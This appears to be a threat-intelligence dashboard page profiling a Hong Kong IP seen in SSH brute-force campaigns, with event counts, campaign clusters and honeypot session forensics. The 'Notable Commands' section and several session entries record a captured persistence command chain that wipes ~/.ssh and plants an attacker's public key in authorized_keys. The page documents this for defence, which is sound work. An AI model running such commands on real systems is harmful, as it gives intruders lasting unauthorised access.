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Location
🇭🇰 HK / Hong Kong
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY HK LIMITED
Cloud Provider
—
Total Events
163
Above average by volume
Agent Count
1
First / Last Seen
2026-05-27 07:32 — 2026-05-27 08:09
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (1177 IPs, 96 countries)
HASSH
Active
high
🇺🇸 US
1177 IPs
447923 events
ssh:bruteforce
2026-02-25 — ongoing · 1177 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …
AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED
ASN
Active
medium
🇭🇰 HK
57 IPs
18813 events
ftp:bruteforcehttp:scanmysql:bruteforcessh:bruteforce
2026-02-18 — ongoing · 57 IPs from the same network (UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS135377) were active during overlapping time periods. …
Session Forensics
Sessions
23 (12 with login)
Avg Depth Score
0.49
Commands Executed
18
Files Downloaded
6
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
ce84e4c1c5bd
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
10a437e799aa
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
fa77401c16a8
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
bbc479b959b8
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
ccfd7c8550a3
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
8292ac22485b
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
ee8e054dc465
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
00e58541da05
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
b68e20ecc123
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
c9f3b936e5c6
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
80df755a572c
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
6e485e052f5e
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…